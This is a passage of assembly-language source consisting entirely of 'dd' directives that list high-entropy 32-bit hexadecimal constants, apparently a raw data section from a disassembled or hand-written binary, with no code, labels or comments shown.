		dd 7281A621h, 360C3E6Eh, 9471791h, 621C0BCh, 12C8728Ah
		dd 63D61900h, 88C0D3Fh,	0EBF900F7h, 30B55A66h, 49284EEEh
		dd 7D0638BFh, 175D86C5h, 0F3232E11h, 0E19E03D5h, 9F1B155h
		dd 802BD156h, 0B8FB5A21h, 3063D4Fh, 0E563BABFh,	5100B111h
		dd 74C1B341h, 605E610Bh, 9CA4D9F2h, 1A3FAB0Ch, 9B500069h
		dd 27E6728Ch, 406600DEh, 0ED03DBB4h, 49C0B311h,	9D886496h
		dd 0A982033Ch, 0AA5A35F5h, 2101AFA3h, 1E886CFFh, 0F741EBA0h
		dd 0A19E0F3Bh, 0FCBB4763h, 7D7AD0CFh, 9B011593h, 4D6DCCA6h
		dd 2987053Ah, 0CA12880Bh, 80841180h, 9ED6B8E5h,	22564351h
		dd 0ED5C0020h, 5EBEF7B8h, 0F605BFD1h, 92A6B90Bh, 76B5C420h
		dd 0CDA9C0B4h, 0BDB2867Ch, 77400B00h, 0F3B88E69h, 0F80329DCh
		dd 886D0178h, 186A3CA0h, 55F488ADh, 0ABBC8900h,	0FF744DD9h
		dd 881E9814h, 0E6DFE6B0h, 58F26480h, 886B60F6h,	503C6882h
		dd 0A1912Ch, 318953F6h,	0F86676h, 0F0D88E4Ch, 0DC778A93h
		dd 0FF329A01h, 35304D06h, 0C1325022h, 10C087E9h, 82015966h
		dd 956FC09Dh, 0AAC492E1h, 0CC27024Dh, 0C890A699h, 65A48C90h
		dd 0F6411318h, 68B93B9h, 5C9B8CE0h, 0E0061C7h, 14B9014Ah
		dd 0C2B52B4Bh, 183F4C28h, 0CEE6F090h, 4D488872h, 48141464h
		dd 5CFD8384h, 40296693h, 990119F4h, 856D86C9h, 0D448FED4h
		dd 4174060Ch, 0E86850DBh, 304CC704h, 8C88C5BBh,	0F4048C83h
		dd 0D99ED7B8h, 59202262h, 0EEB8FCh, 5B5335D1h, 7D5401BBh
		dd 0D0B47B0Ah, 0A78DB8BEh, 0CEE13194h, 91C5C8BDh, 0EE818970h
		dd 0A29EEDB8h, 2E443868h, 0B8F60043h, 28552FA3h, 5F304B01h
		dd 457F1F3h, 3DA800ACh,	56879B11h, 39C0275Ch, 378E65F3h
		dd 138D0084h, 0F6DC0642h, 8200C18Ch, 0F927A52Eh, 0D0EF5CDBh
		dd 2DB84C31h, 0CF200E8Ch, 0F26280C0h, 0B084E20Bh, 856608A0h
		dd 45514014h, 4FC012F0h, 1920F590h, 434C4A91h, 98A18BA2h
		dd 53C38FA7h, 33F1E69Ch, 40F44806h, 909AFA44h, 0E4E08700h
		dd 15A16020h, 6647B9Dh,	5C31443Eh, 8900211Eh, 0B8FF564Bh
		dd 3E14638h, 0A654D098h, 9948439Ah, 48C7CD8h, 3E61729Eh
		dd 20BB626Eh, 2D72870Bh, 0C8137E26h, 0FF567042h, 97E35B0Eh
		dd 1900A512h, 7F3DFAFFh, 7CBAD6h, 266507F8h, 0E79CB1D0h
		dd 913CB202h, 404E0A92h, 0C1BA12BCh, 0E79F8A39h, 0E214FD46h
		dd 1B3BB380h, 0C1043C4Ah, 19A26265h, 0FC251C8Ch, 446B6731h
		dd 0DFADC029h, 9A007D8Fh, 5B0CCF34h, 545E6AABh,	484DC4Bh
		dd 0F5010636h, 0AEC0EFB1h, 0E07107DBh, 0E2B000C2h, 0C937D47Bh
		dd 5630B56Fh, 59C6F95Eh, 0EED81EECh, 0CA374372h, 830F17Ah
		dd 0E43A5946h, 6FB30FD8h, 0FC948FA6h, 0AA2E798Fh, 1B5CE182h
		dd 85FBCCA0h, 640070BAh, 0C3BBADFEh, 9A9576B4h,	9AA719F4h
		dd 225F41B5h, 0BE150038h, 0F0DD63A0h, 0D58003A6h, 0A74359FEh
		dd 0D06483EAh, 6202FB46h, 723C9F88h, 0F110AB31h, 761D886Ah
		dd 0B4075DC9h, 12B30E65h
		dd 0A0211FA2h, 0F56040BCh, 0F02A8C97h, 2FF29F00h, 27EA01D8h
		dd 725702B5h, 4414D5A7h, 764C9490h, 9ACDD601h, 7A01993Ah
		dd 341CD845h, 729B01A3h, 18663E64h, 840C88B2h, 2CC77200h
		dd 8A1DF97h, 1A0E0AB4h,	8188495Fh, 0EE7045D6h, 1537C09Bh
		dd 58D2B707h, 0C1C009DBh, 5E3EF97h, 324D384Ah, 0BD048812h
		dd 0BAB488h, 1A16D853h,	4C5F56C3h, 0DF4E59C0h, 1BA8FC9h
		dd 0DD41620Fh, 0E85380E2h, 0B42C95F4h, 5D44707Ah, 8750C8h
		dd 73A51A64h, 5080A02Bh, 2EF00F00h, 179C8568h, 6A2F00CFh
		dd 560206A6h, 0B45866B7h, 86C1C0B8h, 7CD42954h,	0AC784863h
		dd 0C592A783h, 9FE7B117h, 0C0FC3808h, 3C9C8861h, 88728A46h
		dd 880769F0h, 11AED470h, 8F6E8000h, 99A61848h, 12E659B7h
		dd 80184B9h, 4ACCC385h,	160A66D0h, 80999FEh, 0FA9D1D74h
		dd 16E8E80h, 1283C928h,	4B848A4h, 0C84D3FD4h, 0C588BC8Ch
		dd 0E0DF3E80h, 0DB486C00h, 72EC05ACh, 0E1024304h, 898E4F9h
		dd 2160FA9Fh, 8C0863Eh,	1E7288h, 2C27EF29h, 0A1191276h
		dd 67BACD04h, 40A05F16h, 2F981CC6h, 276246E5h, 183A7130h
		dd 0DCB829B5h, 0D2121E11h, 0A49C00B7h, 0D185A5E6h, 42D9FC91h
		dd 0A7FC5F18h, 0F32EDB76h, 0CB40EC5Dh, 742DFAF6h, 90DE01A2h
		dd 5C6EAB70h, 0D4218015h, 48BAE23h, 35320039h, 0BF9DF6D1h
		dd 5504820Fh, 0CDB55D74h, 2CCE1488h, 0A41C2FFDh, 600C6080h
		dd 0D2041C6Ch, 5024B293h, 0E8B5BC98h, 0A741C3B9h, 0D96FCB9Bh
		dd 3906D158h, 317D25C9h, 0BF7422h, 0EA8479D6h, 774266A1h
		dd 346A5F26h, 0A17944A9h, 2918A218h, 9881BEFDh,	0CEEA0099h
		dd 6C972A1Fh, 609909C4h, 0EB18ADD1h, 9D7B4700h,	481352C9h
		dd 2E4499F5h, 0D2FF419Ch, 94242C72h, 7921B4h, 0F899F335h
		dd 900174FEh, 50E05AFDh, 2473D49Bh, 5F3029A2h, 0E19728FFh
		dd 586D59C4h, 0B2E8B44Ch, 0A83A0D8Ch, 0F4A0F34Ah, 0E500C74Dh
		dd 0E6BD5F79h, 4866CDB8h, 7680045Eh, 5ABED7E4h,	3239A07Fh
		dd 20C12183h, 88301788h, 23903EC5h, 0A0D20020h,	373C1450h
		dd 7EDE0712h, 0FB053431h, 91E02820h, 18B379ECh,	2E621F01h
		dd 9680818Fh, 70E78BD3h, 0FE882798h, 2931C0B4h,	2596A72Eh
		dd 0C2227100h, 8ABF355Ch, 0A64D110Ah, 0D2030991h, 5DBC6812h
		dd 0D519C028h, 2ED09A31h, 0BB988401h, 4E675E5Bh, 0C2FC38C9h
		dd 0EB81B9Eh, 10C83996h, 92F26686h, 3A4DD517h, 0F28F4031h
		dd 3840D310h, 0CB66FF1Eh, 3A29FDC1h, 298071A1h,	84018211h
		dd 6FF2D0BAh, 0B3F67701h, 3DFB40DDh, 613E1023h,	1063B1Dh
		dd 4A90D4B7h, 0C8C7402h, 3801D673h, 3EE33494h, 8038D465h
		dd 178C2ABCh, 205F4B32h, 7184C284h, 0BBFAF800h,	0C8E79D9Eh
		dd 40BF1FF4h, 1B5C731h,	0C85D443Bh, 0E4009FECh,	6202A3C8h
		dd 4046E3h, 1927F209h, 84F39799h, 7ACEDF00h, 8B86EBF8h
		dd 38EA60DEh, 0E7598A93h, 2C7DBC18h, 86D090h, 3815360h
		dd 6BF4A70Dh, 5600EB7Bh, 0CDBE5D85h, 60A3A879h,	1D37E4BBh
		dd 9300E4A6h, 1247ED3Ah, 788A5E16h, 3FEE0042h, 35AC8CF4h
		dd 9800D541h, 0CCA7F663h, 24A68D6Fh, 8E08B99Ah,	6B447190h
		dd 0FA0C8CC2h, 0E6985F00h, 6AE3C8A4h, 54557942h, 34AECA8h
		dd 31D72984h, 0D0F01D8Ch, 301DD45Bh, 8B05CDBh, 3C00FA9h
		dd 0B64EE3BAh, 0D3A3EAF3h, 0EC33BBB1h, 407CE7F5h, 0EC4F3Eh
		dd 31F84A92h, 78E648B7h, 9BB33A34h, 4110C630h, 0BD7020B5h
		dd 0D400BA7Ch, 0CAC2C07h, 0F7C74Ch, 0BB7E33E9h,	46C04DF9h
		dd 0B631FA0Fh, 0C24380BAh, 0F042EC4Ah, 0DDEE741Ah, 80410130h
		dd 0D04BEDF6h, 480008BBh, 0F0E04CD3h, 28D649BAh, 8F6431EFh
		dd 63F85D04h, 102260B7h, 64E9324Ah, 0F0000CB9h,	67F1965Bh
		dd 58B70C55h, 0E608664Fh, 1200B8B2h, 4DC89664h,	163094h
		dd 0C6AB2336h, 0B92BEE67h, 2E27E003h, 64803246h, 61E66018h
		dd 67CC95CCh, 22B643CDh, 551103E3h, 212DDD96h, 0B1195AFBh
		dd 97606A50h, 0F4992000h, 47AA2505h, 6408316Dh,	9659C0EBh
		dd 654667F3h, 1000FB22h, 0D4AA9662h, 3D19BF84h,	9700460Eh
		dd 1E563A94h, 0C0C193B6h, 0F0571FD0h, 6E2899Eh,	11587355h
		dd 0E53BBC00h, 864B43FBh, 0CC14F2D7h, 721B508h,	61E52303h
		dd 0C8822485h, 0C1846636h, 8A66B58h, 0FBD08093h, 76C9EE6h
		dd 8E9B2EA4h, 0D1D600FFh, 32497BD9h, 26CE852h, 67F2965Ah
		dd 10FA315Dh, 0E96630Fh, 93D19D5h, 2D9AA280h, 9152B646h
		dd 1E223C8h, 67FC95D0h,	15280EADh, 298E7CA4h, 1FC85721h
		dd 9C8A8353h, 0D5E1FB3Eh, 0CDF99F93h, 34418252h, 0DF7A23A9h
		dd 6D1420BEh, 2B080C27h, 8500FA7Eh, 0C8545956h,	0D071C2D6h
		dd 5448AA49h, 3B00959Bh, 5908399Eh, 9A25B0h, 0F6187E4Ch
		dd 62C2D1AAh, 4039EC6Ah, 395BCF08h, 14A9C674h, 5500E9D2h
		dd 0E4456DA7h, 51CAE27h, 16DA3846h, 86C85FB6h, 2047E9A6h
		dd 4ABB5101h, 9A36DA31h, 0EF430FE2h, 601CAE5Fh,	0CB40E8DBh
		dd 0EA665DDAh, 0D6CD0707h, 60E29BB3h, 445BD522h, 0DCF31F1Bh
		dd 0A1DDE389h, 20F91224h, 56C4C7CBh, 1C3E2498h,	6343FCE5h
		dd 600B411h, 6477E526h,	240A89E1h, 983351CCh, 4FD83981h
		dd 0F04F19B2h, 0EEC0E688h, 9FB9440h, 0BF667BA1h, 1D0D4020h
		dd 97249DD2h, 0F780ECAAh, 3FB089F4h, 0FC8F49CAh, 0B743A608h
		dd 8E180802h, 6D9E0320h, 9C29A105h, 0F801F266h,	0B7864459h
		dd 30608042h, 43F6E538h, 0B3221346h, 0E5209C03h, 0A10DE241h
		dd 0F841A9A4h, 0F500BFDFh, 99492Fh, 6818F779h, 0D3F81C00h
		dd 5432E652h, 50D0A8BAh, 0B76414D4h, 0E423A8B8h, 0FE95CE01h
		dd 0FA18BD67h, 571388h,	0AECDBE96h, 2B832881h, 2F3BFB7Ah
		dd 0CF6A18ABh, 1F041D60h, 0B50ED7h, 220CEAD3h, 0CB642D21h
		dd 6C8863F1h, 0BB1C00C2h, 8B6ACA09h, 0BC02FC22h, 4AFFCDAEh
		dd 0EC9448D3h, 0A211006Bh, 23CA6D3Bh, 6701F501h, 6C54B725h
		dd 63F84371h, 54104806h, 1553F480h, 0ED185CD5h,	514907A6h
		dd 4A26185Bh, 0FEBB11D6h, 2FCF9109h, 58B883D7h,	0A4083007h
		dd 91F71521h, 53D3A801h, 0BD2A205Fh, 0C8FCC18Fh, 0C57778F0h
		dd 0CAB16324h, 0FF6E8501h, 0ECCCBD58h, 685D00FBh, 0C4777BF8h
		dd 84002DCCh, 0AEB6232h, 0CED8AAEDh, 1B3EFB69h,	0D3B81882h
		dd 8DCABA9h, 5A3AF500h,	6E53CC2Bh, 0CF267118h, 0A31F89C2h
		dd 0F0C09016h, 0B4EE8504h, 0DAB231EDh, 2041F859h, 0E3780F38h
		dd 80486349h, 43FDE539h, 0B7448C3Bh, 0E5210399h, 9667ADB3h
		dd 4440AFE2h, 4A241810h, 60058026h, 0E8242F20h,	232C8C82h
		dd 8107D449h, 0CF8A8E73h, 0D2720BE7h, 0CE308072h, 3EC1AB2h
		dd 4C947BBDh, 0AA9026CAh, 9BF6A26Ch, 23F0C70Eh,	0FA3620FEh
		dd 372FF9D9h, 3759B14Bh, 0B288F0B6h, 18000C01h,	0A22FF205h
		dd 58224FD7h, 508F408Bh, 0D027E1E1h, 4A7980C4h,	8D43BB53h
		dd 0DA871215h, 0E5AC088Bh, 0FD95CFC0h, 0B6B52167h, 96A01667h
		dd 1D8ADC0h, 2A612114h,	30097A9Ch, 0A4A1598Ch, 0F60031B3h
		dd 11E53730h, 882B43FFh, 1F9B87B6h, 321000E5h, 5A268483h
		dd 410028E7h, 63FB1A0Fh, 3581C0EEh, 0FDEA9994h,	0F7F1A200h
		dd 692F7C40h, 1EC87C1Ah, 26D32266h, 71510FCh, 9DACC10h
		dd 0D04124F5h, 3C19FE90h, 0D4B8A0FFh, 0B9163AB1h, 73806848h
		dd 0D22219E6h, 63A1FA09h, 0C6AC20B2h, 12326A2Dh, 590853ABh
		dd 1857E8B0h, 0F9E5083Dh
		dd 0BFC45B43h, 0E5250540h, 60FA3AB2h, 3C5051FEh, 37647EF8h
		dd 670BA8h, 0EEAB3A1Ah,	0E8710087h, 2E3F4819h, 0D258EB01h
		dd 17CE400Fh, 0EE69F882h, 5C40CD3Bh, 0E45463F8h, 15004CA0h
		dd 9AB5AD40h, 5A6F30h, 0BB920ADFh, 6CF6FC01h, 0D800D9F0h
		dd 35C38D96h, 92A5A7E0h, 0C0CDE43Ch, 55720CC9h,	0E714C9BFh
		dd 24D22B57h, 0E101091Fh, 0F4A75EB2h, 20E07181h, 87CF1952h
		dd 0D15F5738h, 49CE66h,	87844DB9h, 9FE52780h, 0AD13D978h
		dd 14208BC0h, 4C0FF930h, 129D10FCh, 0AAF0219Fh,	42B3F1ABh
		dd 18640108h, 0A6BC20Bh, 0AB7405AFh, 1D089C09h,	801B1104h
		dd 54B4AE4Bh, 1EFE1B37h, 42CC70BEh, 48D544AAh, 0FA96E79Ch
		dd 58F8BAC3h, 624FF43h,	7AF4001Ch, 0AF4B20FAh, 65D839C0h
		dd 10A43C1h, 72B9680Bh,	0F4514E46h, 0D10BF4C7h,	22D63E2Dh
		dd 66A7EDF8h, 564F0068h, 0D6C9E9CCh, 19C3B049h,	0E8FA32B1h
		dd 1B9FB89h, 9F5E0FBFh,	50C55320h, 0DE63ABB4h, 9688D450h
		dd 4FCDFA0Ch, 1E1FE925h, 14327282h, 7C58DC47h, 1940A2Bh
		dd 0AB391A01h, 881918E6h, 2AECE972h, 5ABCB707h,	90A95D30h
		dd 7CD6BF8Ch, 339E0093h, 362D7519h, 8402A769h, 0CC39A466h
		dd 49248368h, 0F8D15AA6h, 84B7000Ch, 0B4FE6441h, 40170B8Dh
		dd 0A200F03Dh, 9EACEB61h, 0EF169B13h, 0DC2F1417h, 2500B123h
		dd 8D8E6451h, 2B900289h, 62D0E18Ch, 303A2491h, 2358444Ch
		dd 229AE014h, 0DAE009E5h, 0C19A8EDh, 0ABF10946h, 1858E048h
		dd 0F185F4DFh, 4514AA20h, 221431BBh, 0C0CAFCA4h, 0D1E16D61h
		dd 9D00965Dh, 0A462BBB8h, 5B98606h, 0D33F6BA6h,	0E014CC60h
		dd 773EEEE0h, 91E58B16h, 20D404EBh, 8EF9B040h, 0CE00D6E7h
		dd 8F2451A9h, 1D8B69Dh,	17903AB1h, 204D7541h, 1D88C0D0h
		dd 0E3F0F0Dh, 4960815Ch, 0F7E48844h, 14784C5Dh,	0FC0E1CEh
		dd 96DF69E6h, 63B3B843h, 17D901E8h, 5DF2AAE4h, 300CF07Fh
		dd 7F44B52h, 2DF4F907h,	0A3B4DB60h, 653B0094h, 894D2061h
		dd 0A717CBE2h, 100957F5h, 90EC8A37h, 0C355983Fh, 6F51CDA1h
		dd 0F729E134h, 22CA9031h, 3315F264h, 41FADDE8h,	0A3DE9E13h
		dd 693B2049h, 0E1FCFB74h, 6E3E122Fh, 0D1D00975h, 0A4992444h
		dd 0BD18FC71h, 9F1AA103h, 0EF6B24A6h, 0C0828954h, 19FC30F7h
		dd 4EAB3E08h, 401A64A7h, 3619E465h, 0F16D1F73h,	5AD15F2Bh
		dd 0CAC068DAh, 2154591Fh, 5537CDC8h, 2DC7392Ah,	2FE890DBh
		dd 0F29B169Fh, 53E4020Dh, 0F8729E6Ah, 74658CA2h, 0DD60B5E4h
		dd 5805C8F1h, 149E1808h, 0AE4F9801h, 2992B8B6h,	809C04CCh
		dd 1FD8035Bh, 602904E6h, 40CA72D1h, 3A47C527h, 63D50F8Eh
		dd 80FCA34Bh, 1BF9A946h, 36030448h, 0C7FDC29Dh,	9BE10014h
		dd 86704D26h, 0C1608464h, 1C4AE830h, 7850071h, 2FC8D9ABh
		dd 7891D062h, 75CEEE03h, 1378A047h, 0A22400AFh,	6C522AE4h
		dd 0A417B765h, 0F0279EEDh, 752E1611h, 3120B184h, 870C4BCDh
		dd 0FF87F720h, 0F8E12EC6h, 623804F2h, 97D340AAh, 0FB28BC14h
		dd 0CFC6050h, 19E3168Ch, 0FC605037h, 70818CC8h,	3DB419EBh
		dd 0F21EE0h, 77C3396Dh,	4238102Dh, 474904Ah, 0A8F4CD1h
		dd 311F6876h, 9035E56Bh, 10ACB289h, 2C0E6780h, 82805A6Ch
		dd 99A8641h, 0A298020Bh, 61A04AE6h, 0BB10AA84h,	0BA005154h
		dd 8AFCA2D8h, 1F4239Dh,	971AA690h, 68B8D6AAh, 8CF8BC30h
		dd 237639E6h, 0C54444Ch, 81E7AE2Bh, 0D170B189h,	6D188Ch
		dd 0B4A3DDA0h, 88E414FBh, 80644A4Ch, 7D121335h,	0E8CD0054h
		dd 1C461596h, 4A00BE8Ch, 6D2EAF4h, 4F9C2AADh, 4F20030Ah
		dd 0C0A4329Eh, 6683A930h, 0A2FED40h, 0C6B3EF0Ah, 911826A4h
		dd 36338E89h, 0F8C8888Eh, 83D178C0h, 30C80016h,	0FAA081EDh
		dd 6D4B828Eh, 149ECC22h, 56038E9h, 4B38F308h, 993888h
		dd 44963483h, 0F7A0A53Ah, 0AB267090h, 76F488D6h, 64C80051h
		dd 12F7E386h, 0F6136A19h, 50C0B84Fh, 87DF407h, 31CA47D8h
		dd 3022BC28h, 0C7FC26B5h, 8F504070h, 0E1069827h, 13B811D5h
		dd 1820DE1h, 1F12FF5h, 0FC58E284h, 10A4EAC7h, 310DF0C9h
		dd 5C1858E4h, 494CE312h, 0F723502Fh, 1B7DDE00h,	0B293CCCh
		dd 0FA462FD2h, 0E1C3A861h, 6149E02Bh, 4A5BA678h, 0F723102Eh
		dd 4632B300h, 1E82FE47h, 905007D1h, 22C04C26h, 0D9193FA9h
		dd 58F99800h, 3DAC8A1Ah, 0BE478900h, 80754F2Eh,	0E16916E4h
		dd 507C42F7h, 20791F5Bh, 8491F38Bh, 20F30FFAh, 1800A322h
		dd 8539910Ch, 22D76177h, 0A904C6CFh, 90A09547h,	0F1A420D2h
		dd 18F77954h, 974D01DFh, 4B470A6Ah, 8A7980A7h, 5AA4C755h
		dd 0BCF7005Dh, 0D1EF19CDh, 0EE0E2A9Fh, 8262667Fh, 0D9CC8DD7h
		dd 3C29025Ch, 0FE00EA5Ah, 0B6E59EDDh, 1E560118h, 80A5A724h
		dd 0A9B0B5C0h, 7839E90h, 0D514640Eh, 8C57B25Dh,	80C3F5E2h
		dd 92AB893Eh, 5C2261EEh, 1350ECEBh, 80586B2Fh, 506C3598h
		dd 20463118h, 0EEF25469h, 291A00C7h, 84250F44h,	2FF42D9Bh
		dd 0D9A1FD00h, 0A7A8DF63h, 8A2E006Ah, 7205F204h, 9807838Bh
		dd 0D0ABAE41h, 0D2F7A540h, 3C9F1FE6h, 0B4B7C7F5h, 730381AFh
		dd 354FF0EBh, 0DE08F000h, 46043DFh, 8A0500EAh, 5463B720h
		dd 680238A1h, 9AF29140h, 97B4C0CBh, 0E21900F1h,	0A53ECC46h
		dd 0DD5BC794h, 80D01422h, 0FDDA30A0h, 0AB9C25EDh, 40C36C24h
		dd 1395317Bh, 0A87017C0h, 23303A6Ch, 0C59200B3h, 4D432FB0h
		dd 80E4CA5Ch, 10149034h, 0B9AE009Dh, 0ED77B8B1h, 0CA07E325h
		dd 227251A3h, 0E1D23962h, 0EBCCBFF4h, 7C640782h, 0CADE42F8h
		dd 16AD38B3h, 0FB91B89Dh, 4AF77F80h, 0F6391727h, 2555814Dh
		dd 0E0DA548Bh, 0AFD93021h, 3002063h, 7ACF52E6h,	0B700B56Ch
		dd 1DDCB225h, 58612099h, 8002C394h, 0D65A5424h,	0B2D930F1h
		dd 0E21DD118h, 0E3451256h, 0C4884A78h, 3E4F75E0h, 3DA45773h
		dd 42BC1D77h, 1C8CFA33h, 0EA7EA0C0h, 0E4E0EC83h, 0D14C995Ch
		dd 2B518E6h, 4E3080BCh,	0B082342Eh, 0CC71CB66h,	0DD191A71h
		dd 0DC4CD188h, 420B459Ch, 2AC9E66h, 0F98BC6A8h,	792C0F1Ch
		dd 5E15A0A7h, 5835DF80h, 921352C5h, 0E0DBD951h,	4ABBCE80h
		dd 0E073C0Bh, 92AC26B9h, 0A065F1F0h, 315A02E3h,	54253271h
		dd 433E5072h, 0A0B8327Eh, 20A46196h, 913AF418h,	1107A359h
		dd 0D1B00A2h, 821E1791h, 50FF2D12h, 0BF11E497h,	356CE683h
		dd 0FAE3EB88h, 0FAC75D39h, 4EA19A00h, 0B05C25FBh, 2A16284Fh
		dd 0D32F0CCCh, 0A9F9C8CFh, 87BF0D00h, 0EFB7CB32h, 757000E8h
		dd 0B2522765h, 1C27C6AEh, 4470167Bh, 80F1C76Eh,	26622419h
		dd 37F2A0h, 7BB1972Ch, 0A5881294h, 0AE20D43Fh, 83438E9h
		dd 0E35BBCC1h, 8C2DC064h, 283AD099h, 28C90C57h,	56B4E84Ah
		dd 79D1007Ah, 3B411649h, 0A2F6FE7h, 0C02C29BFh,	9E5620B8h
		dd 9E438294h, 1CD1A6B2h, 52562189h, 1F572E8Ch, 0D3430008h
		dd 0CE481084h, 0B4717E4Ah, 803947AAh, 0D7A5ED0Ch, 0CC2FDF91h
		dd 2CECA154h, 24D88BDAh, 0F4B90117h, 0DE362FD1h, 0C8508C1Ch
		dd 0FE2929h, 0ECA14AE2h, 0F8F96C76h, 2FFC2C1Bh,	73CBAAA1h
		dd 955F5874h, 0BE203CB8h, 0A696178Fh, 0DBB44173h, 2ADD5685h
		dd 8B30DC08h, 2CE453E7h, 0F4D1888Ah, 0F518B479h, 852CCA02h
		dd 0F9495F36h, 18F771C0h, 0F53A020Fh, 4B32AECFh, 953FBC7Ah
		dd 762F809Fh, 0A9A05322h, 0B09A5C82h, 162A4E08h, 0E7EDCF03h
		dd 99E82CC1h, 8BCA1348h
		dd 0C81888B8h, 0E00B01FFh, 25539D52h, 0BCFC7DF4h, 573034Fh
		dd 0E762C587h, 8BBCE900h, 228EB125h, 522AF2A5h,	18F2F4CCh
		dd 7C5230h, 2E2C67D6h, 38D3894Eh, 0BCA71AF0h, 160E344h
		dd 84272A83h, 5B8887EAh, 66BE5682h, 1D25466Ch, 2F4991FDh
		dd 801045DFh, 9691F612h, 2904F9EBh, 0D217D7DAh,	5E8B84A0h
		dd 23882ECBh, 0B59E0117h, 0D4FF0686h, 0F4A2A247h, 0E2084C47h
		dd 0C8300032h, 485B8057h, 0E626067Eh, 0A2978028h, 875488h
		dd 1B6AB035h, 0E3D3C0CBh, 15D58B01h, 0E5D220E9h, 0D0C2902Ch
		dd 0ACF94CF7h, 7418E679h, 0D08D2A12h, 2A2070A5h, 0D9A301ADh
		dd 9CBEF4FDh, 4C443C69h, 8CE3E8C0h, 0D2363905h,	50B443A9h
		dd 0E3DD004Fh, 57B9983Ah, 7D05F382h, 622FD71Dh,	0D9D8CCh
		dd 3FDDC55Bh, 424F0B1Ch, 0AA2C8098h, 0C744B446h, 3A45A4A4h
		dd 2D787568h, 0C8324EDCh, 8D11E817h, 0E591C780h, 0B11F8963h
		dd 9D023F79h, 5EBA500Fh, 4C2425E0h, 91F16021h, 0FF2F25CCh
		dd 16806C65h, 0F8AA910Ah, 1E5031CDh, 0BCD24971h, 80E6BE21h
		dd 3F622EE8h, 95600E4Bh, 8045A089h, 0A360C0C4h,	0C2053AD1h
		dd 0EB62310Ah, 0A3CB984Eh, 0D0802CB9h, 16C9D1EDh, 9066D43h
		dd 0CE018424h, 0D53E3027h, 88698Eh, 0A7C91DF4h,	60C70CF7h
		dd 0B4DCB923h, 94002404h, 211C8138h, 0D4088h, 16B89873h
		dd 0C64D1D52h, 96D9C510h, 0A8214C4Dh, 0E840C40Ah, 7E09081Dh
		dd 20FC7283h, 0F8C8BC9Bh, 91F2C322h, 0CEF755D7h, 0B190038h
		dd 9CD12291h, 0A2D60054h, 0FB5843EBh, 2DEC85CDh, 0A21D8C8h
		dd 0CB93B2Fh, 3410811Ah, 4CA02DF7h, 906725E8h, 900E84D0h
		dd 4FD505E0h, 80231756h, 0FB303950h, 17CACF25h,	463D24h
		dd 521CEC9Bh, 1830150Ah, 881AFE4Eh, 0D84053C7h,	269C1289h
		dd 0BC48B0E4h, 30414963h, 1FCBA9FCh, 42EC8985h,	56C502F5h
		dd 0C4564A1Eh, 0A2B4D003h, 0AAE7D141h, 2E69430h, 0A6695CDAh
		dd 0B085C5D7h, 2F60C095h, 0B4942E24h, 0F6DDFC01h, 2870DBFDh
		dd 3046012Ch, 20C6A5B3h, 51C4609Fh, 2DDD0C80h, 0BC01E796h
		dd 20EB8756h, 22F1DAF0h, 1C22CCh, 9323048Ch, 4784A849h
		dd 0D4CC9401h, 0C92FF667h, 162C4083h, 687CA538h, 0B3DF9618h
		dd 0C9D21E19h, 58DB4AD1h, 1D40858h, 159C1EBEh, 3B9D5B42h
		dd 0BAA8BC08h, 11F873A6h, 19FD80F6h, 0B146AB3Dh, 0E566C0C4h
		dd 38009119h, 0AB047222h, 80FBFE83h, 3050A963h,	0F7100AB4h
		dd 0E0ECE9Bh, 38666A1Dh, 912E10C7h, 7DC60E1h, 78670B94h
		dd 0F492FBEDh, 0FA7954D1h, 4D023918h, 0B25A22A4h, 4BCF9B3h
		dd 80034CA8h, 0ED8B2CBCh, 8FEED902h, 50724692h,	0A8C49438h
		dd 0F2CC000Ch, 440D6177h, 0B74ED356h, 612BF082h, 0DC4F60C0h
		dd 0A5C0FB88h, 7D08CC5h, 2B489DA6h, 3BAA81C3h, 0D522C082h
		dd 97B25D25h, 808D91E0h, 0B82B499Eh, 0DA910295h, 2DB08EFBh
		dd 711DD861h, 3B70004Ch, 1B12CBB3h, 0C002147Ah,	0DAFA54h
		dd 4FF053A9h, 2208154Dh, 6055F829h, 1FF4113h, 309E95F2h
		dd 0B0465Eh, 656E7721h,	0B43882Eh, 2F54E844h, 5D1DA044h
		dd 680049BEh, 36C0F672h, 0B7B93FC3h, 4105FB80h,	212F6562h
		dd 94000BEh, 5F7D337h, 8BA6EA57h, 0E298E0C8h, 113C9795h
		dd 4D4380B1h, 6D815CDh,	0CFF17606h, 260021C3h, 0D30705BCh
		dd 904BD7BDh, 3EFB2804h, 6BCA5F90h, 413C34h, 0A7C00C4Fh
		dd 14C6922Ch, 0D4DAAA2Dh, 8261D887h, 7C5AE1DCh,	0FC28A64Fh
		dd 0E97E01BFh, 41452169h, 3324757Fh, 30BFA2ACh,	27013513h
		dd 295E28A2h, 72FA7DE5h, 86740058h, 9C1C7071h, 441E76D4h
		dd 91806F51h, 254CE04Bh, 0C8484A57h, 6A004DB4h,	0A836D7E5h
		dd 0FD82EEh, 0EA3CC596h, 0C3804AD1h, 431340Dh, 0D80E315Dh
		dd 0F9C0BF88h, 33D5E3h,	8B81AE3Bh, 7D2F1EF6h, 1428412h
		dd 6864A809h, 1D8B8B8h,	0F860687Fh, 602FF175h, 51C9A696h
		dd 795CF15Ch, 1D5218F9h, 0CFFC073Eh, 5EDD6BE3h,	805FD669h
		dd 26180EDCh, 2CCC2259h, 0FC1E3C3Ah, 3000A6DEh,	0FF6E2B9Dh
		dd 79C88121h, 8D6300B4h, 3FD878E3h, 45252F31h, 0FAABA001h
		dd 0BDA0685Bh, 368230E6h, 779BA00h, 0F70854BBh,	0BC4A48C3h
		dd 37329480h, 14F8F619h, 6828151Ch, 2F5BB480h, 27348C84h
		dd 68109540h, 473957EAh, 9F910222h, 0A9C93120h,	9534C5A4h
		dd 0F2020861h, 0B8D6B338h, 0AE2DDC60h, 8BE58CB0h, 16DBAA59h
		dd 8BE705B4h, 0C0B97F69h, 0D2B06D25h, 0F61A207Ch, 9D38C013h
		dd 80BE1178h, 35F7836h,	0BAD20024h, 4E9BAAF2h, 809A21F1h
		dd 0B953AC20h, 188C79B4h, 6BFE00B7h, 0E5DFABFh,	307884E7h
		dd 0ACCBE14Bh, 8FC0B088h, 475ED6h, 0E878D4A3h, 0AE835A39h
		dd 94CA458h, 5A5B4C49h,	1F4620A0h, 310B3AEEh, 19D3251h
		dd 7356EC1Ch, 7E429A4h,	25963F4Fh, 1040B8E4h, 6714157Ah
		dd 1898ACA6h, 5B8691B6h, 88589DC4h, 19C8FB18h, 4843095h
		dd 468070E0h, 8DAC4055h, 0A02C3C59h, 691263AAh,	4885D8B0h
